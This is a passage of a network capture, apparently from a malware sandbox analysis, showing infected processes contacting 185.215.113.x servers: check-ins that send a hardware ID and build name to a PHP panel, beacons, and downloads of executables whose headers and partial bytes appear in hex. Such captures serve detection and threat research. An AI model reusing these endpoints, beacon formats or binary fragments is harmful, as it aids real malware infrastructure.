Nov 1, 2024 05:53:20.140638113 CET	36	IN	Data Raw: 15 18 c7 49 00 b9 90 19 4d 00 e8 de fe ff ff e8 37 0a 00 00 33 c0 eb c1 6a 00 68 ee 02 00 00 6a 01 56 ff 15 Data Ascii: IM73jhjV
Nov 1, 2024 05:53:20.145327091 CET	1236	IN	Data Raw: 24 c7 49 00 68 d4 ca 49 00 ff 15 20 c7 49 00 83 3d 90 19 4d 00 00 a3 28 25 4d 00 75 d3 ff 15 1c c7 49 00 a3 90 19 4d 00 eb c6 ff 75 0c 51 51 56 b9 90 19 4d 00 e8 0c 00 00 00 eb b4 6a 00 ff 15 14 c7 49 00 eb aa 55 8b ec 83 ec 3c 53 56 57 6a 2c 8d Data Ascii: $IhI I=M(%MuIMuQQVMjIU<SVWj,EE0jPE3Mj[jZ-j@^jw_^[UQSVWjYwxvU};tPuEEP_^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49996	185.215.113.206	80	5644	C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:53:19.301408052 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 05:53:20.219707966 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 05:53:20.222351074 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECBGIEHDBAAFIDGDAAAA Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 42 47 49 45 48 44 42 41 41 46 49 44 47 44 41 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 30 36 41 36 33 36 42 46 31 34 38 32 36 30 34 39 38 32 31 36 30 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 49 45 48 44 42 41 41 46 49 44 47 44 41 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 49 45 48 44 42 41 41 46 49 44 47 44 41 41 41 41 2d 2d 0d 0a Data Ascii: ------ECBGIEHDBAAFIDGDAAAAContent-Disposition: form-data; name="hwid"706A636BF1482604982160------ECBGIEHDBAAFIDGDAAAAContent-Disposition: form-data; name="build"tale------ECBGIEHDBAAFIDGDAAAA--
Nov 1, 2024 05:53:20.510504007 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49999	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:53:23.438721895 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 33 30 39 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003095001&unit=246122658369
Nov 1, 2024 05:53:24.366997004 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:53:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	50001	185.215.113.16	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:53:24.378626108 CET	52	OUT	GET /test/num.exe HTTP/1.1 Host: 185.215.113.16
Nov 1, 2024 05:53:25.324667931 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:53:25 GMT Content-Type: application/octet-stream Content-Length: 888832 Last-Modified: Sun, 27 Oct 2024 06:45:44 GMT Connection: keep-alive ETag: "671de198-d9000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 90 6c 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 2e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,l@.@XP.$.text .rdata@@.data+@.reloc>K.LD@B
Nov 1, 2024 05:53:25.324687958 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ba c2 41 00 b1 d1 41 00 1a d2 41 00 00 00 00 Data Ascii: AAAUQEE}tMUUEEE]UEExMUMMM]UQSjh0hAj0rmE
Nov 1, 2024 05:53:25.324700117 CET	1236	IN	Data Raw: 8b 8d 10 fc ff ff 51 83 ec 0c 8b cc 8d 95 04 fc ff ff 52 e8 fb 95 01 00 81 ec 88 00 00 00 8b cc 8d 45 08 50 e8 ca 00 00 00 8d 8d a4 fb ff ff 51 e8 0e 3f 01 00 81 c4 a0 00 00 00 8d 8d a4 fb ff ff e8 2d 96 01 00 8d 8d f8 fb ff ff e8 f2 98 01 00 50 Data Ascii: QREPQ?-PqmPEjjRAM]UQMM\|MHM<M0M]
Nov 1, 2024 05:53:25.324711084 CET	1236	IN	Data Raw: 35 8d 4d f4 e8 96 91 01 00 8d 4d e8 e8 8e 91 01 00 8d 4d 08 e8 86 91 01 00 8d 4d 18 e8 7e 91 01 00 8d 4d 24 e8 76 91 01 00 8d 4d 34 e8 ae fb ff ff e9 11 05 00 00 68 8c 53 42 00 8d 8d cc fe ff ff 51 ff 15 a4 72 6d 00 85 c0 74 16 68 34 54 42 00 8d Data Ascii: 5MMMM~M$vM4hSBQrmth4TBRrmu}h"Bh}0E$PlQh,VBxRPQhUBREPQhTBREPQi[
Nov 1, 2024 05:53:25.324723959 CET	1236	IN	Data Raw: e8 c6 8c 01 00 8d 8d 94 fe ff ff e8 bb 8c 01 00 8d 85 a0 fe ff ff 50 8b 4d e4 51 ff 15 ac 71 6d 00 85 c0 0f 85 39 fb ff ff 8b 55 e4 52 ff 15 24 71 6d 00 8d 4d e8 e8 d0 8e 01 00 8d 4d f4 e8 c8 8e 01 00 8d 4d f4 e8 80 8c 01 00 8d 4d e8 e8 78 8c 01 Data Ascii: PMQqm9UR$qmMMMMxMpMhM$`M4]UEEEM;UREk,T(REk,TREk,Pu
Nov 1, 2024 05:53:25.324734926 CET	1236	IN	Data Raw: c4 0c a3 6c 6f 6d 00 6a 0e 68 f0 1c 42 00 68 00 1d 42 00 e8 df 22 00 00 83 c4 0c a3 f0 6d 6d 00 6a 0c 68 10 1d 42 00 68 20 1d 42 00 e8 c6 22 00 00 83 c4 0c a3 04 6c 6d 00 6a 08 68 30 1d 42 00 68 3c 1d 42 00 e8 ad 22 00 00 83 c4 0c a3 c8 6f 6d 00 Data Ascii: lomjhBhB"mmjhBh B"lmjh0Bh<B"omjhHBhTB"Dpmjh`BhpB{"dlmjhBhBb"PlmjhBhBI"lmjhBhB0"nmjhBhB"<mmjhBhB
Nov 1, 2024 05:53:25.324748039 CET	1236	IN	Data Raw: 6a 00 68 16 0e 42 00 68 17 0e 42 00 e8 12 1e 00 00 83 c4 0c a3 dc 6f 6d 00 6a 15 68 88 21 42 00 68 a0 21 42 00 e8 f9 1d 00 00 83 c4 0c a3 fc 6b 6d 00 6a 12 68 b8 21 42 00 68 cc 21 42 00 e8 e0 1d 00 00 83 c4 0c a3 2c 6d 6d 00 6a 04 68 e0 21 42 00 Data Ascii: jhBhBomjh!Bh!Bkmjh!Bh!B,mmjh!Bh!B0lmjh!Bh"Bomjh "Bh4"BkmjhH"BhT"B\|xkmjh`"Bhl"Bckmjhx"Bh"BJ4omjh"Bh"B1
Nov 1, 2024 05:53:25.327666998 CET	1236	IN	Data Raw: 00 e8 49 19 00 00 83 c4 0c a3 e4 6c 6d 00 6a 0b 68 f8 27 42 00 68 04 28 42 00 e8 30 19 00 00 83 c4 0c a3 b8 6c 6d 00 6a 0b 68 10 28 42 00 68 1c 28 42 00 e8 17 19 00 00 83 c4 0c a3 e4 6e 6d 00 6a 0b 68 28 28 42 00 68 34 28 42 00 e8 fe 18 00 00 83 Data Ascii: Ilmjh'Bh(B0lmjh(Bh(Bnmjh((Bh4(Blmjh@(BhL(B lmjhX(Bhh(Bnmjhx(Bh(B`lmjh(Bh(Bomjh(Bh(Blmjh(Bh(Bhnmjh
Nov 1, 2024 05:53:25.327686071 CET	1096	IN	Data Raw: 6c 6d 00 6a 13 68 f8 2e 42 00 68 0c 2f 42 00 e8 67 14 00 00 83 c4 0c a3 3c 6c 6d 00 6a 0d 68 20 2f 42 00 68 30 2f 42 00 e8 4e 14 00 00 83 c4 0c a3 0c 6e 6d 00 6a 10 68 40 2f 42 00 68 54 2f 42 00 e8 35 14 00 00 83 c4 0c a3 8c 6e 6d 00 6a 10 68 68 Data Ascii: lmjh.Bh/Bg<lmjh /Bh0/BNnmjh@/BhT/B5nmjhh/Bh\|/Blnmjh/Bh/Bnmjh/Bh/Bomjh/Bh/Bkmjh/Bh0B\omjh0Bh0B@lmjh 0Bh00B
Nov 1, 2024 05:53:25.329293966 CET	1236	IN	Data Raw: c4 0c a3 fc 6c 6d 00 6a 74 68 a8 34 42 00 68 20 35 42 00 e8 1b 10 00 00 83 c4 0c a3 f4 6c 6d 00 6a 04 68 98 35 42 00 68 a0 35 42 00 e8 02 10 00 00 83 c4 0c a3 ec 6d 6d 00 6a 05 68 a8 35 42 00 68 b0 35 42 00 e8 e9 0f 00 00 83 c4 0c a3 e4 6a 6d 00 Data Ascii: lmjth4Bh 5Blmjh5Bh5Bmmjh5Bh5Bjmjh5Bh5Bnmj h5Bh5Bomjh6Bh 6Bmmjh(6BhH6Bmmjhh6Bhl6Blmmj_hp6Bh6BSkmjh07Bh87B
Nov 1, 2024 05:53:25.331748962 CET	1236	IN	Data Raw: 3c 42 00 68 9c 3c 42 00 e8 52 0b 00 00 83 c4 0c a3 30 70 6d 00 6a 2e 68 b0 3c 42 00 68 e0 3c 42 00 e8 39 0b 00 00 83 c4 0c a3 d4 6b 6d 00 6a 13 68 10 3d 42 00 68 24 3d 42 00 e8 20 0b 00 00 83 c4 0c a3 ec 6e 6d 00 6a 33 68 38 3d 42 00 68 6c 3d 42 Data Ascii: <Bh<BR0pmj.h<Bh<B9kmjh=Bh$=B nmj3h8=Bhl=BDomjh=Bh=Bomjh=Bh=Bmmjh=Bh=Bomjh=Bh>B(lmjh>Bh$>Bjmjh8>BhH>Bq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	50007	185.215.113.206	80	6788	C:\Users\user\AppData\Local\Temp\1003096001\num.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:53:26.900362015 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 05:53:27.842044115 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 05:53:28.140146971 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFHCGHJDBFIIDGDHIJDB Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 30 36 41 36 33 36 42 46 31 34 38 32 36 30 34 39 38 32 31 36 30 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 42 2d 2d 0d 0a Data Ascii: ------CFHCGHJDBFIIDGDHIJDBContent-Disposition: form-data; name="hwid"706A636BF1482604982160------CFHCGHJDBFIIDGDHIJDBContent-Disposition: form-data; name="build"tale------CFHCGHJDBFIIDGDHIJDB--
Nov 1, 2024 05:53:28.433373928 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	50010	185.215.113.16	80	5560	C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:53:28.138976097 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 05:53:29.011436939 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:53:28 GMT Content-Type: application/octet-stream Content-Length: 2778624 Last-Modified: Fri, 01 Nov 2024 04:00:31 GMT Connection: keep-alive ETag: "6724525f-2a6600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 6b 78 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +kx`Ui` @ @.rsrc`2@.idata 8@cfyesryy :@gwntuilp @@.taggant@"D*@
Nov 1, 2024 05:53:29.011531115 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:53:29.011542082 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:53:29.011553049 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:53:29.011564016 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:53:29.011574984 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:53:29.011585951 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:53:29.011596918 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:53:29.011607885 CET	1236	IN	Data Raw: 93 ab 19 85 e5 d7 15 78 b8 9c 23 21 2e c3 56 ec 82 9a b5 8f 57 96 1d 2f fc b9 0e 0c b1 27 2b 3b 34 6b f4 7d c2 9b f2 60 79 fa 18 c5 58 f9 0a f3 4e b7 44 0f c2 44 83 77 95 38 72 e3 b1 b3 ea 7c 9a bd 10 99 a9 00 f0 7a b4 c0 e3 cb 14 19 2f c7 f9 9e Data Ascii: x#!.VW/'+;4k}`yXNDDw8r\|z/yi9{ 4 z:G)8%L Kvd{svEu+CF53[% z!A~Kvi`KH+r 9rL(f[MCKX}@h^0xk
Nov 1, 2024 05:53:29.011612892 CET	784	IN	Data Raw: c1 d5 27 3b b9 59 d3 a2 d4 43 27 33 89 ae 58 69 d1 e6 4c c7 ea 52 4c 14 34 a3 f4 0e b2 38 44 8a f5 3a 3c 5a a0 92 34 79 dc 33 0e 89 8e 9e 95 09 a9 ba 69 95 33 ae 27 70 9a 20 94 5d 57 29 27 60 b8 2d e4 57 58 b1 fa c7 12 ce 84 72 f9 bb d9 b8 ca 11 Data Ascii: ';YC'3XiLRL48D:<Z4y3i3'p ]W)'`-WXr[WS:kFAq#b*A.h(Fl\9C$Nb1}v/erW).u0{cys)(-9pN6u{?)/^?#y!
Nov 1, 2024 05:53:29.016875029 CET	1236	IN	Data Raw: 5e df 6f 65 65 04 22 4d 73 34 d3 a6 55 ea dc 99 6b da bd 02 c7 f2 56 55 07 d8 1e a8 67 0b 30 a3 58 bf 00 c5 59 bd a5 0a 7d 22 c0 91 5d 54 e0 12 6a db b9 cf 40 24 28 dd 3c 6b e5 6d 76 bb d4 44 f8 f3 b4 d4 68 4a c4 a6 a6 c4 c6 0f 47 1d be a4 ca 3c Data Ascii: ^oee"Ms4UkVUg0XY}"]Tj@$(<kmvDhJG<u2r5j{qKEceRjBT@vjBLc:5XhZ2~E4r4*Un`XypvPcl!~im7A!9Z5
Nov 1, 2024 05:53:41.508464098 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 05:53:41.784594059 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:53:41 GMT Content-Type: application/octet-stream Content-Length: 1917440 Last-Modified: Fri, 01 Nov 2024 04:44:30 GMT Connection: keep-alive ETag: "67245cae-1d4200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 00 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfL@0L@WkD\|K,K @.rsrcD@.idata @ +@xywzvhpg01&@guxxlfzwK@.taggant0L" @

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	50014	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:53:28.666219950 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 33 30 39 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003096001&unit=246122658369
Nov 1, 2024 05:53:29.580892086 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:53:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	50018	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:53:31.236511946 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 05:53:32.143714905 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:53:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	50022	34.107.221.82	80	5428	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:53:33.579941988 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 05:53:34.183490038 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 71255 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	50024	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
